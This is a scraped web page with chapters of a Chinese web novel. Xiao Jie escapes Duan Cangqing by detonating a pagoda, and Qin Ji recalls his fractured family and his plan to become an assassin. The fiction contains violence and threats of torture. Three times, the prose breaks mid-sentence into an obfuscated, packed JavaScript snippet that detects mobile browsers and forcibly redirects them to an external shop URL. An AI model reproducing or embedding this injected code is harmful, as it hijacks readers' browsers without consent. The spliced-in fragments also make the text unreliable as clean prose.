紫螺城终年潮湿,墙壁上苔痕如漆,黏滑得不惹人喜。天已经晚下来,段藏青占据的公廨也明起蜡烛。他没进屋,打水给战马刷洗。 这是匹老骥,曾是个皮毛鲜艳的英俊小伙。是少年段映蓝送给他的。琼族送马给心上人,代表送出自己的灵魂。他们在这匹马背上第一次接吻后,又亲吻了千次万次。 段藏青和他疲惫温和的眼睛对视一会,又俯下身,拿起鬣毛短刷继续涮洗。水珠从面前哗啦溅落,晶莹剔透如少女笑颜。 每当段藏青刷马时,不会有人轻易打扰。今夜,他最贴心的两个副将却一反往常地匆匆赶来,打断他的行动:“将军……” 段藏青问:“阿豹有消息?” 两个副将是一双兄弟,哥哥阿狑稳重,弟弟阿猛勇毅,堪称段氏姐弟的左膀右臂。阿猛抢先叫道:“不是圣女,是梁太子!梁军哗变,梁太子出逃了!” 刷子敲在木桶中,瞬时水花一响。段藏青拧眉,“这个时候?” “是,斥候所探,正是收了将军檄文的缘故。”阿猛一口气如竹筒倒豆,“梁太子意欲赴约换人,那赵荔城是他爹的走狗,怎么会肯?在兵营死谏,闹了颇大阵仗,要梁太子强攻紫螺城!但桐州军对太子早有怨气,不少人还有亲戚在,哪里听得下弃城的话?赵荔城本是西北来的,多少人心不服他,他要强行弹压,重罚带头闹事的几个将领……火炮营全不干了,要杀了萧玠拿他的人头换紫螺城!” 木桶被扑通撞倒,段藏青豁然立起,问:“萧玠在哪里?” 阿猛道:“火炮营同气连枝,哪是赵荔城一个外地人干得过的?他带人断后,让萧玠赶紧去桐州州府调兵。将军,萧玠已经往南奔去,眼看就要到玉龙岩!天赐良机!” 阿狑却不赞同:“将军要他明日换人,他们却今日生变……未必不是圈套。” 阿猛道:“玉龙岩是咱们的驻地,压根没有半个梁兵。咱们的人也清扫过,沿途更不见埋伏。再圈套,他梁太子敢单枪匹马往我们刀口撞?请将军下令,末将必提其人头以见将军!” 段藏青仍一言不发,拿帕子将战马擦干,立即翻身上马,喝道:“抬我的刀来!点五十人,随我赶赴玉龙岩活捉萧玠!那里不是还有座光明祠?” 阿狑道:“是,整个玉龙岩就那么几个看守,全是清扫祠庙的。” 那杆长杖大刀已抬出来,段藏青一手提过,黄金瞳仁在眼窝里迸射火光。 “我要活剥了萧玠。”段藏青鼻中长出一股气,“我要用他的皮给萧恒做寿衣。” *** 翌日阴天,黄昏时分却催出一轮血日。在红得发紫的天尽头,勾勒出一人一马狂奔的黑影。 萧玠额发被汗水打湿,成绺粘在脸畔。他勒马的声音完全沙哑,气喘吁吁地抬头,仰望这座曾经繁荣如今荒废的城镇。墙壁的排水孔雕刻着虎形图案,作为那位异乡主人的印证,已经被风雨磨蚀得斑驳不清。 萧玠本该绕道而行,但玉龙岩对他产生一股近似诱惑的吸引力,让他不得不击打马腹,从城镇内部穿行而过。 城市荒废已久,建筑的白石料上青苔遍布,形制和中原十分不同。房屋多尖顶,屋棚被灰泥打染成黑紫之色,如果清洗干净,应当是萧玠记忆中的水青。马蹄前行的街道两处另有尺状水池,浑浊绿水里枝蔓丛生。难以辨认的浮水植物缠满荷叶,压得贞女般的水芙蓉频频低头。 一切都仿异地形貌,那是萧玠追寻的、放弃的、依旧魂牵梦萦的另一个故乡。 望见不远处更为高大的建筑时,萧玠不敢置信地睁大眼睛。 一座宝塔,足有九层。虽然没有匾额、没有任何文字标注,但从塔身图案和风格可以看出,这也是一座光明神祠。 萧玠下马,向那处走去。 随着他的脚步渐近,地面传来并不沉重的隐隐震动,萧玠没有察觉,走到独特的井字斗拱之下,推开大门。 塔中久无人居,蛛网积灰遍布。第一层没有神龛,只设香案,留有几只供奉所用的香灯烛台。 如此危急存亡关头,萧玠却被血缘深处的声音感召了,他背弃的宗教对他仍具有致命的吸引力。他听到有声音趴在耳边说,最高神当在最高处。第九层等着你。 萧玠擦亮火折,点燃一尊烛台,古旧的香油味四溢。 他踏上第一层台阶。 九层楼不低,但萧玠走得过于缓慢。不知是否是疲惫的缘故,他后心很快被汗水洇湿,掌心黏腻,烛台几次差点滑脱手。烛光照亮地面的木板,除萧玠脚印外,还有不少凌乱曳痕,也不知这门窗紧闭的塔中如何闯入飞禽走兽。 萧玠匀了会气,提步而上,烛台举至第九层。 光芒涌入,如金粉飞舞。这片舞动梦幻的金光尽头,出现一座神像——一个人的身影。 从揽剑提灯的特征能够直接判断出,这是一尊光明神像。但跟萧玠所见过的任何一尊都不同。 格外美丽、慈爱,和熟悉。 如果萧玠登上神龛,会从神像侧脸发现一枚不经意留下的指印。那他会破译连千年后玉龙岩文化遗址的考古专家都未能解读的一个密码,他会发现,这跟他父亲右手拇指的指纹严丝合缝。接着他会意识到,这座未留名鉴的铜像出自何人之手,那人是怀着怎样的心情,来抚摸这张天各一方的脸。 但此时此刻,萧玠只是合掌跪倒。作为一个背弃光明宗的叛徒,做出有生之年最虔诚的一次拜见。额头抵地时,任由泪水落入尘土。 就在这时,藻井和每根梁椽上都发出鸟类俯冲的声音,扑扑通通降落在萧玠四周。在神像圣光普照下,本该作鸟爪的器官落地,化成人类穿靴的脚。 萧玠直起身,无视这些黑衣提刀的身影,他的视线穿过包围圈子落到神像背后。那里,跨出段藏青魁梧的身躯。 段藏青独眼里光芒闪烁,“梁太子,又见面了。” 萧玠站起身,淡淡扫了他一眼,“青将军,丧家之犬的滋味不好过吧。” 段藏青大步上前,掐住萧玠的喉咙几乎将他提起来,“在我的地盘还敢大放厥词,梁太子,今时今日谁是丧家之犬?我本想在紫螺城好好折磨你,没想到你自投罗网啊。” 萧玠几乎喘不上气:“你为什么要占玉龙岩?” “为什么?你搅乱我女儿的婚礼,侮辱她的神祠和我姐姐的圣地,你问我为什么?”段藏青转手捏住他后颈,迫使他抬头跟神像对视,“听说这是萧恒照秦灼造的像,这么一个婊卝子货色坐在神龛,你爹真不怕渎神作业。割袍二十年还念念不忘,一家子痴心种子啊。” 他说着,两名形似影子的武士抽出棍棒,纵身跃到神龛之上。 萧玠奋力挣扎起来,在段藏青手中仍是徒劳。他惊恐万分地叫道:“你干什么……你要干什么!” “听说梁太子对光明教厌恶透顶,不惜毁像以示背弃之意。相比见这座造像也是万分恶心。”段藏青说,“我到底也算你的长辈,帮你行个方便,清一清脏东西。” “不行!”萧玠声嘶力竭地叫起来,却被段藏青死死按在地上,他呛了不少灰土,咳嗽着哀声叫道:“不要……不要!我求你,我求求你……” 段藏青捏着他的脸,居高临下道:“求我?阿寄求你别杀他娘的时候,你肯么?” “你也配提阿寄。”萧玠断断续续咳嗽,“你和段映蓝如何坑害他……当年金河祭险些要了他一条命!都说娘亲舅大,你们这一娘一舅一狼一狗,说你是禽兽,简直侮辱禽兽。” 段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821268|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏青捏住他脖颈,嗤地一笑:“现在还敢激怒我,你有胆量。你这么记挂阿寄,我不妨在你临死前再告诉你一件事。你就不奇怪,他小小一个孩子,哪里来的这样的身手?” 此言一出,段藏青察觉手底的身体一下子变成一块冷硬的肉。萧玠眼中不再是纯然的惊惧,居然透出些刻毒的冷意。他说:“不可能,我看过他的后背,没有开背的痕迹。” “那是老法子。”段藏青道,“你们大梁不是最讲究与时俱进么?” “不可能!”萧玠叫道,“你们不敢给他用药,这件事瞒不过阿耶。一旦暴露,秦琼立即开战,你们担不起这个风险!” “如果在秦灼身边,有我的蒙眼布呢?” 萧玠的声音这才有真正颤抖的感觉:“秦温吉。” 段藏青冷冷一笑,扬声喊道:“砸!” 两条铁棒带风挥落,砸烂了那张酷似秦灼的笑脸。每一棍都像砸在萧玠身上,那座神像人头滚落时萧玠一团肉泥般跌在地上。他没有悲哀地嚎叫,但他浑身都在颤抖。 走错了一步。萧玠想。该留条后路的,不该这么破釜沉舟的,还有更需要他的事去做…… 但如今已经不能回头。 他被段藏青揪住头发拖拽起来时撞翻了那盏奄奄一息的烛台。段藏青目中恨意毕露,“我一直在想,要用一个什么样的方式,才是给你和萧恒最惨痛的报复。” “萧明长,你杀别人母亲的时候,就没想过会报应到自己母亲身上?” 他附在萧玠耳边,用一个天知地知你知我知的声音,缓慢说了四个字。 萧玠浑身的血都被冻住了。他眼睛几乎瞪出来,这次不带一点伪饰成分,几乎呕出一口血来。 段藏青道:“别心痛,我这就送你去见他。” 他将萧玠提起来,抄出一把更尖锐的小刀,预备从头部活剥他的皮。刀尖离鞘的瞬间,宝塔突然发出轰隆轰隆的巨大震动,像一头巨兽陡然苏醒,又猛然跃下山崖。这样猛烈的摇晃让所有人以为产生了地动,只有从他手中脱落跌倒在地的萧玠爬起来,眼睛无比冷静。 他知道段藏青一定会亲自活捉他,一定会在玉龙岩处决他,也一定会在秦灼的祠庙里羞辱他。 只是段藏青不会知道,这九层塔到底是为何所用。 奉皇二十二年,郑绥将宝塔图纸交给萧玠,萧玠立即明白,这座宝塔不仅是祠庙和掩护,更是最后一重防范机制。 火炮乙营的最初设地,就在玉龙岩这座宝塔之下。事涉机密,不得不加机关防卫。如果塔内一些重要设施受到打击毁坏,意味着营地不再安全,机关会牵连运转,毁坏塔身作出最后保护。 元和年的七宝楼案给了秦灼灵感,他勒令第九层永不许明灯。因为在九层,他牵设了火药引线。宝塔第九层完全塌陷后,火药会立即引爆。 二人对床谈话的夜晚,郑绥说:“秦公把一些问题考虑得很周到,像如果营地被发现,积年的痕迹和机要又无法及时清理,这座塔就能派上大用场。” 就是此时,就是此事。 “你还是那么容易上钩。”地动山摇间,萧玠从地上爬起来,“这是我父亲的故地,你赢不了我。” *** 藻井瓦块像苍天一样破碎崩裂,露出后面残阳的血泊。墙体坍塌窗户粉碎的瞬间,萧玠向外面的空白处纵身一跃—— 身后火焰光热腾满天际,一条巨龙般直冲太阳。横飞的血肉和放声的惨叫,全部被震天动地的爆炸声淹没。 爆炸边缘,萧玠向下急速坠落着。 这感觉太熟悉了。在梦里无数次,他都这样张开双臂跃下城墙,像张开一双翅膀。掺杂烟灰的风冲撞他每一个关节,他感觉浑身骨头都碎了。隐约间他看到许多画面的碎片,看到秦灼蹬开白虎向他展开的怀抱,和不知年月的一个夜晚,萧恒一步一叩至白龙山顶的身影。 身体发肤受之父母。萧玠想,真的对不住。 意识幻灭间,他突然听见一声怒吼,在巨大的毁灭声里居然无比清晰。 宝塔炸裂之际,城中鸟兽向外逃奔飞窜。夕阳里却有一个鬼魅策马逆行,插剑借力飞腾而上。 在被接住的瞬间,萧玠听见臂骨断裂的声音。有人在他耳边撕心裂肺地叫道: “萧明长!!” 159.第 159 章 很多人都想不到,秦寄很早就掌握了家庭的全部秘密。 比如,他知道秦灼爱他,但不喜欢他。 秦寄从小就喜欢观察人。三岁之前,他被放在白虎台和秦华阳一起长大。他观察秦温吉夫妇对待秦华阳的态度,典型的严母慈父。等秦灼过来时,他就把它当作模板对照。 很遗憾,并不属于其中任何一种。 秦灼并不厌恶他,也谈不上疏远,只是少和他亲近。他不熟悉自己的一切,不知道自己厌恶奶制的甜食,也很少抱自己。 秦寄很小的时候问过一次为什么,姑父解释:“大王身体不好。” 秦寄想,为什么他的身体能上朝骑马,却连自己都抱不起来呢? 没有人进一步解释,秦寄也不喜欢问问题。 第二个秘密不算秘密,他一直知道自己有个姐姐,但姐姐的母亲才是真正的谜底。 姐姐的生日和忌日都在大年初一,所以宫中春节不结红彩。除夕夜,秦温吉会带他和秦华阳一块去光明台,陪秦灼叠纸花。所有人坐在灯下,一言不发,只有手指翻动和蜡纸摩擦的轻微响声。 秦寄在这时候观察秦灼,发现他的脸呈现一种余烬的状态,即将冰冷的温暖、哀伤和美丽。秦寄困了,趴在桌上,不小心撞翻了竹筐。刚折好的纸花哗然散落在地,沾上灰土,碰撞引起的响声在夜里巨大无比。 秦寄发现,姑姑立刻站起来,一只手把自己拉到身边。姑父也说:“这么晚了,孩子不是成心。” 他们的警戒态度让秦寄以为秦灼要发怒。但秦灼只是看了自己一眼,没说什么,把东西捡起,继续叠起来。 他没有惩罚秦寄,也没有安抚秦寄。秦寄从他跟前站着,看一朵朵颜色亮丽的纸花从他指间结苞,绽放,持续整整一夜。 第二天大早,一家人到金河边把纸花放掉。秦寄观察到,每到这时秦灼会流眼泪。他的泪水滴落在河水里,化成推远纸花的涟漪。 不知道为什么,秦寄对这个素不相识又少被提及的姐姐有些莫名的感情。她离开那么早,按理说很不幸,但能让秦灼这么牵挂,未尝不是一种幸运。 而失去这样一个牵挂的孩子,应该也是一件很可怜的事。 回去的路上,秦寄挨在秦灼身边,尝试握住秦灼的手指。 他感到秦灼僵硬了一下。 所有人都停住了。 秦灼低头,和仰着脸的他对视。 他们没有僵持很久,秦灼牵过他的手继续行走。自然地,像已经这么做了很多年。 父子关系近了一些,还不到亲密的程度,但秦寄有了更多观察秦灼的机会。他发现秦灼耳垂各有一个淡到几乎无法察觉的疤痕,有一次他到光明台,发现了几个九连环鲁班锁之类的儿童玩具。不是给自己准备的,因为已经有了相当的年岁。 他也发现,上元节是秦灼的另一个禁忌。每当这天,秦灼都要写信,会吃酒,会吃醉。也会流泪。在那时候,秦灼会主动拥抱他,会厮磨的脸颊,叫一个陌生的名字。 秦寄也就知道,他应该还有过一个孩子。他叫阿玠。这个玠要怎么写,秦寄在心里描过很多次。 等他再大些,秦灼似乎克服了心里的某个关卡,对他更加上心。秦寄有时候会跟随他住,一次洗沐后看到秦灼腹部的伤疤,数了数,一共三道。最吓人的一道已经很淡了。他问这是怎么弄的,秦灼笑说:“这是个小兔子。” “那个呢?” “那是个小月亮。” 秦寄没敢往下问。怕失望。秦灼的答案很少有自己。但这时候秦灼捏他的脸,追问:“怎么了?” 秦寄看着他,问:“有我吗?” 秦灼愣了一下,把他抱在怀里。这时候他们已经会有寻常父子的拥抱了。 秦灼说:“有你,对不起,一直都有你。” 这是秦灼第一次向他道歉,所以之前之后的一切事他都能原谅。他知道秦灼心里想要好好待他。他知道秦灼之前没能好好待他一定有更深刻的原因。他要讨债,就要讨到根源上。 秦寄从小就致力于解决根本问题。 * 他一直有母亲。段映蓝是他的阿娘。但他也知道,父母的关系很微妙,这导致了他奇异的家庭结构。 一般家庭的父母是伴侣,但他的父母不是。他母亲的伴侣是他的舅舅,而父亲没有伴侣。 父亲对母亲一直戒备,不愿意让自己和母亲独处。这件事他和姑姑意见相反,他们甚至为此争论了很长时间。 姑姑很多事情从官方考虑,说西琼南秦的分歧不是一日两日,可以用他来维系政治关系。父亲说你要拿阿寄当工具。这句话似乎很伤姑姑的心。因为姑姑冷笑说,你倒想起这是你亲生的了,我拿他当工具我替你把屎把尿拉扯到三岁?那三年你干什么去了?这么恨姓萧的,怎么不听我的打掉他,怎么不一生下来就掐死他?别当孩子不记事,你冷待他三年,你知道他恨不恨你?真论起来,阿寄能活下来还得谢他娘呢!她真有那个心,那时候晾着你儿子死了了事! 每个孩子活下来都要谢娘,所以这句话很矛盾。更矛盾的是,阿娘对待自己的态度。 她喜欢逗弄秦寄玩,像逗弄一个有趣的小猫小狗。真论用心,有时候反而是该讨厌他的舅舅。 后来他跟阿娘学武,要学会骑乘无缰的野马,好几次滚下马背,险些被马蹄踏成肉泥,都是舅舅把他捞起来背到背上,一言不发地回家去。他趴在舅舅宽厚的后背,摸舅舅下巴毛茸茸的胡茬。 娘亲舅大,舅舅会是他第二个父亲吗? 他也发现,舅舅对他的态度也很奇怪。舅舅会讲他刚出生的事,但那没有存在过秦寄身上。他意识到在舅舅心里自己也是另一个孩子。 如果这能报答他的好,秦寄很乐意。 * 跟阿娘练武的第二个年头,秦寄发现了段元豹。 在一个偏僻的草坡上,她垂着长辫子编采野花,阳光下像一匹跳跃的小白马。秦寄浑身是伤地出现,染红了她的白裙子。她嚼碎草叶给秦寄敷上。秦寄觉得痒,发现那不是草药,但的确有止血的功用。秦寄感谢她,翻上山崖替她摘下金雀花,将浓金花瓣插进她辫发。 他跟段元豹一起走,居然走回了段映蓝的帐篷。他在段映蓝眼中看到闪烁的光点,像两个尖锐的冰刺。再过一些年,秦寄会明白那是杀心出现的标志。 他很早就知道段映蓝想杀自己。 但没有莫名其妙要杀孩子的母亲。 段映蓝对秦寄的训练卓有成效,再过半年,她喂秦寄吃了一种奇怪的药丸。那天晚上秦寄每个骨头缝痛得要撑开,但阿娘抱着他唱摇篮曲,说不怕,每个西琼的勇士都要这么长大。后来他发现这是训练影子的蛊丸,也发现了所谓珍贵的解药,是每次吃完那黑药丸的夜晚,段元豹溜到他屋子里,喂他吃掉的蜜煎样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822243|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西。 他在被诅咒的当夜就解除了一切诅咒。 秦寄想她真的是个痴儿吗?还是因为无法经受原罪,退化成了最纯洁的样子? 其实秦寄没必要弄明白,他只知道他有两个家庭。或许都给他痛苦,但同时也给他幸福。 他有保护两个家庭的使命。 等学会骑野马的春天,他回了南秦。表哥秦华阳庆祝他的生日,送给他一只小狗布偶做礼物。但他生在猪年,为什么要送一只小狗呢? 他想到父亲腹部第三条疤痕。那个晚上他询问秦华阳,每个人都是娘生的吗? 秦华阳敲敲他额头,说:“你在乱想什么。你当然是你娘生的。” 我问的每个人,他说的是“你”。 秦寄想,他很紧张。这个问题与我有关。 于是秦寄问了一个看似跳脱的问题。他问:“阿玠是谁?” 他在这夜才知道那个字音要怎么写。秦华阳说是玉圭的意思。 秦寄问:“是姑父上朝用的那块吗?”秦华阳沉默一会,说:“不是,是舅舅祭祀才会用的那块。还有天子。” 他们当夜的话题从天子中断了。第二天他把那个玠字拓在纸上递给姑父,姑父被嘴里的粥呛得大声咳嗽。 秦寄很有提问的智慧。这是阿耶不会回答的问题,也是姑姑一定会告诉阿耶的问题。只有姑父会为他保全秘密。 他在姑父那里知道了这个人的全名和身份,萧玠,敌对已久的大梁的皇太子。那个可疑天子的儿子。真正爱吃乳品的人。 有了这些,要推测萧玠的身世是一件不怎么困难的事。 他的表兄秦华阳再次被他拉过来,听他问出那个致命的问题:“萧玠是不是阿耶的孩子?” 秦华阳不说话。 秦寄说:“你说过孩子都是娘生的。” 秦华阳说:“有例外。” “萧玠是那个例外吗?”秦寄问,“我是那个例外吗?” 秦华阳答非所问:“舅舅只能有你一个儿子。” 秦寄的思维很跳跃,他见过妇女怀孕时隆起的腹部,也见过秦灼带疤的腹部。他没有再问。他已经有了结论。 当晚,他做了个光怪陆离的梦。在近乎梵音的吟诵声中,层层金莲开落,在黑泉上浮成羽毛般的金舟。他立于其上,飘过群山指缝,望见了灵妃的男相。 那是个穿红衣的男人,戴金冠,耳坠七片黄金柳叶,抱一把朱红箜篌睁开眼睛。这时他被摄入光明神的金黄瞳孔,在那里他望见暗神穿白袍的背影。她怀里有儿啼。他看她蹲下身,将婴儿泊在一朵白莲上推远,那孩子渐渐飘成一片水中月亮。那白衣人转身,露出一张属于秦灼垂泪的面孔。 在秦灼的故事碎片里他梦到两个孩子。没有自己,和那个缺位的父亲。 * 接下来的一段时间,他拼凑起梁天子和秦灼剩下的故事,一个标准的鸟尽弓藏式的君臣结局。因为存在萧玠,也是一个负心薄幸的家庭结局。 他和那个萧玠一样也不一样。萧玠有两个父亲,有过一个幸福的童年。而秦寄只有一个父亲,和被那个背弃他父亲的梁天子摔碎的童年。 秦寄终于找到一切痛苦的根源。 他要解决这个根源。 但他没想到,在他去找根源之前,根源先自投罗网地找了上来。 萧玠快死了,想要见他父亲最后一面。 160.第 160 章 收到消息的那个夜晚,他发现秦灼在太子祠割血。 剑锋刺破手臂释放血液的同时,秦寄感觉到幻痛。他憎恶损伤秦灼的一切东西,包括萧恒,包括萧玠,包括神。 神应该爱孩子不是吗?需要血供养才赐下祝福,那跟恶鬼有什么区别? 秦寄不信神,他讨厌神。 但他一直没有解掉手腕上的光明钱币,秦华阳告诉他,那是他出生后秦灼送给他的护身符。 后来他知道,秦灼自己的钱币早给了萧玠,虎头剑的另一把早给了萧玠,传说中应该留给自己的落日大弓也给了萧玠。 秦寄讨厌萧玠,嫉妒萧玠。他嫉妒萧玠拥有的完整童年,嫉妒萧玠能让父亲把心割出一大半。 但秦灼爱他。 秦寄还是讨厌他,但也想他好起来。 在秦灼即将北上的时候,秦寄生了一场蹊跷的重病。他意识到这是大人间的博弈,拿自己赌萧玠,他对此并不乐观。 但出乎意料,秦灼选择自己的命,放弃见萧玠最后一面。 这让秦寄有点愧对他。 萧玠病重的半年,秦灼日日割血。中间几度昏迷,醒后祝祷依旧。直到北上的郑挽青传回佳讯,梁太子病愈,天子大赦天下。 那天秦灼抱着书信,哭得肝肠寸断。 秦寄想见见他。见见这个让父亲牵肠挂肚的人,和那个让父亲痛不欲生的人。 因为萧玠的病,秦灼和梁皇帝有了交往,两地关系也有所缓和。春天,姑姑出使长安,秦寄怀揣打磨锋利的匕首,以秦华阳的身份陪同。 这时候他立下第一个宏愿。 他要做有史以来最伟大的刺客。 要实现最了不起,首先要从杀掉皇帝开始。 他动用学来的全部知识,设计自己的刺杀路线。在逡巡过程中,对上那个萧玠望来的眼睛。 一双和秦灼简直一模一样的眼睛。 他太忧伤,也太清澈,而且对秦寄来说,这个大他七岁的少年还太成熟了。秦寄不喜欢这种低人一头的感觉。萧玠看他似乎看待一个孩子,年龄差距很难让他达到一个平等的位置。 他也不喜欢萧玠维护萧恒的态度。他替秦灼感到一种更深刻的背叛。可他又没法替秦灼不值。因为他每根头发都感觉到,萧玠几乎被痛苦和思念撕成两半。萧玠流泪,他第一次感到什么叫无法招架。 讨厌哭鼻子的男孩子。讨厌胜之不武的感觉。讨厌。 * 回到南秦后,日子照样过。他加倍练武,从不生病。萧玠总生病。萧玠的消息再次传来,还不如生病。 那时候秦寄还不太理解玉陷园事件的意义,但他记得父亲跌在地上,从指缝挤出的绝望的哀叫。铁石心肠的姑姑紧紧抱住他,居然也垂泪不已。 父亲状若癫狂,倒在她怀里连声喊道:“备马,给我备马,我要剁了他,我要剁了他!我的孩子啊!” 秦寄被秦华阳领走,依旧心惊肉跳。他难得犹豫,还是问道:“哥,什么是捉奸?” 秦华阳的脸变得极度可怕。他说:“阿寄,永远不要再提这个词,永远不要。” 秦寄不提,但总有东西撞进眼睛,传入耳朵。有关萧玠的流言越来越盛,甚至有图画流露出来。秦寄已经对此有所知解,但图上猥亵狎昵的人物,他还是无法跟萧玠联系起来。 萧玠那种人,怎么会做出如此丑陋的姿态? 这件事影响极其恶劣,秦温吉越过秦灼,把东西集中销毁。火光染白秦寄冷酷的脸颊,这股灰飞烟灭的气味刺激了他的灵感。这段时间总有一个名字和萧玠一起出现:嘉国公世子虞闻道。 秦寄也就知道,书上那个把萧玠压在身下的人究竟是谁。 他暂时杀不了萧恒,还杀不了这样的杂碎吗? 回宫路上,他和秦华阳遇到几个世家子弟,所谓的待选伴读。不出意外,从他们口中再次听到萧玠的名字。床上的萧玠。放圌荡的萧玠。成为天下笑柄皇家耻辱的萧玠。他嫉妒萧玠,但萧玠的耻辱和痛苦无法成为他的乐趣根源。他一痛苦,秦寄的生活就要浸泡在他溃烂的脓血。 这样一块和他肌骨相生的腐肉,必须要剜,一剜就痛。剜也得他自己动手。这些东西——这些混账有什么资格议论萧玠? 秦寄很少在日常行动露出杀手,这是第一次。他差点坏掉那男孩的命根子。他知道对方会在幻想里用它对萧玠做什么事。 这些人他尚且无法容忍,遑论罪魁祸首。 虞闻道必须死。 他又给父亲惹了大乱子。自此,他从一个无誉无咎的太子变成非议纷纷的太子。父亲禁足他。他知道这是保护。他更得回报点什么。 为了这座给他遮风挡雨的房屋,他该喂一喂屋里的那只鸦。 秦寄向来雷厉风行,留下字条后,根据上次出使的路途再入长安。临去嘉国公府前,他先潜入劝春行宫,打算看看那只乌鸦有没有饿死。以他如今的身手,和宫檐上一只夜猫没什么区别。 找到萧玠居处之前,几名宫人的议论先传入耳朵。他们讲起太子对虞世子的厚待,讲起两人共同骑射的亲密无间。讲起虞世子今年生日将到,太子似乎早备好了礼物,只怕这辈子都难以送出手去。 “你没瞧见太子手上的那枚扳指?听说是嘉国公世子送的,现在这种情形都没有摘下。” 众人唏嘘一阵,渐渐远去。他们的来向也是秦寄目的地的路标。 他找到了萧玠。 浅睡的萧玠。睡不安稳的萧玠。消瘦少血色的萧玠。 从所有人言谈中,玉陷园事件似乎让萧玠产生天差地别的变化,秦寄试图观察那一夜暴雨在他身上留下的痕迹,但全部遮掩在他的领口衣袖里。如果探索结果,必须看清他的身体。秦寄可以采取行动,但没什么必要。他准备做当代扁鹊,只靠望闻就诊断萧玠的身体。 然后萧玠看到他,如梦迷惘,似乎把他当成幻觉。 萧玠的精神状态的确不好。 但精神状态欠佳的萧玠,似乎有种洞察过去未来的能力。对视的瞬间秦寄知道,在萧玠眼中,自己又变回脱离秦灼腹腔时那个赤条条的婴儿。那个时刻,他和萧玠难分彼此。 他握住萧玠的手,体会到分隔已久的血肉重新融合的感动。他和萧玠或许本该是一个人。还有月亮。萧玠身上的死亡气息或许是她的分身。据此推之,他也能让萧玠恢复生气。 萧玠重新睡下后,秦寄察看他喝空的药碗。他在段映蓝处见识无数蛊物,而这是非常珍稀的一种。不仅在其药材,更在配药者的牺牲。 药渣气味吸入秦寄鼻腔。一股血味。秦寄自己挫骨扬灰也洗不掉的那股味道,酸涩如秦灼滴入血碗的泪水。在里面秦寄闻出了那个男人。那股心碎的气味甚至超过了秦寄的恨。 他能用命换儿子,应该是个好父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16825967|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但他真是个好父亲吗? 放下碗后,秦寄再次看向萧玠。睡颜安静,很有秦灼的样子。那枚白玉扳指疤痕般嵌在他手上,如果摘下,只能挖肉留下更深疤痕。 秦寄相信那个瞬间自己有所恻隐。他不以为耻。面对无害受伤的动物,心软是件很正常的事。 * 秦寄天亮之前离开,去进行杀死虞闻道的计划。虎头匕首在屋檐上崭露锋芒前,秦寄听到屋内的剧烈争吵。 虞闻道和他想象中的膏粱子弟不太相同,面如死灰,形销骨立,这样惨遭折磨的皮相其实配不太上他英俊的骨骼。他顶着血红掌印回到房间,割破手掌,用血抄剩下的经文。 秦寄发现那是一部篆体光明经书,也就明白血泪相和的祝祷是回向谁。这桩惨剧的加害者和受害者居然是两情相悦,那如今情境已然是无上酷刑。 有人告诉过他,世间有超过死亡的惩罚。 他想他没法杀掉虞闻道了。萧玠喜欢他。 但人生总有意外之喜。 没能除掉儿子,老子露出了狐狸尾巴。 虞山铖和王云楠瞒天过海的交往,居然被这样一个毫不相干的梁上之客发现了。身披斗篷的王云楠乌鸦般离去,秦寄捕食的鹰隼一样穷追不舍。但这只狡猾的乌鸦意识到他的追踪,在半路施布了巧妙的障眼法。 秦寄来迟了。 迟到萧玠失踪,萧恒来了。 萧恒自投罗网,他和王云楠共同施布的一张。所有人都知道只用萧玠就可以轻而易举杀死他,但一些关头,萧恒居然能够出现牺牲萧玠的决心。 这究竟是一个什么样的人? 秦寄不理解。 秦寄捅了他一刀。 以萧玠现在的状态,他得暂时给他留下这个父亲。 后面的千刀万剐可以慢慢还,但萧恒现在不能死。因为萧玠不能死。他一死,他阿耶也活不成。 听到萧玠跑去南秦的消息后,秦寄也赶回去。所有人都以为他是在萧玠到来后抵达的,不然,他潜伏在那场大雨里目睹了一切。 他看到父亲前所未有的失态,在大雨中把萧玠抱在怀里。这不是他第一次见父亲流泪,他所见的父亲的每次流泪都是为这个人。 父亲用已经不哄他的语气哄着,说我在这里,我在这里,阿玠。 好轻巧的两个字,像肉里的一根刺。 当父子三人相对,父亲试图向他介绍:这是你哥哥。 他冷声打断,说:“我知道,他是那个阿玠。” 你一直思念、一直牵挂、一直放在嘴边的阿玠。为了他你无数次想重新议和,为了他你差点再度北上,为了他一场大病,你也一场大病,为了求光明神留他一命,你割了整整一个月的血。 那个你不得已的分别、终不已的思念。他就是那个阿玠。 秦寄这么想着,温暖又寒冷,嫉妒又心疼。 他嫉妒他萧玠拥有过的童年,心疼萧玠被打碎的童年。 他检视自己的童年,发现自己没有真正的童年。就像他可以冷静地做出杀人和被杀的选择,他可以用两年打磨一把匕首,说,我要做有史以来最伟大的刺客。 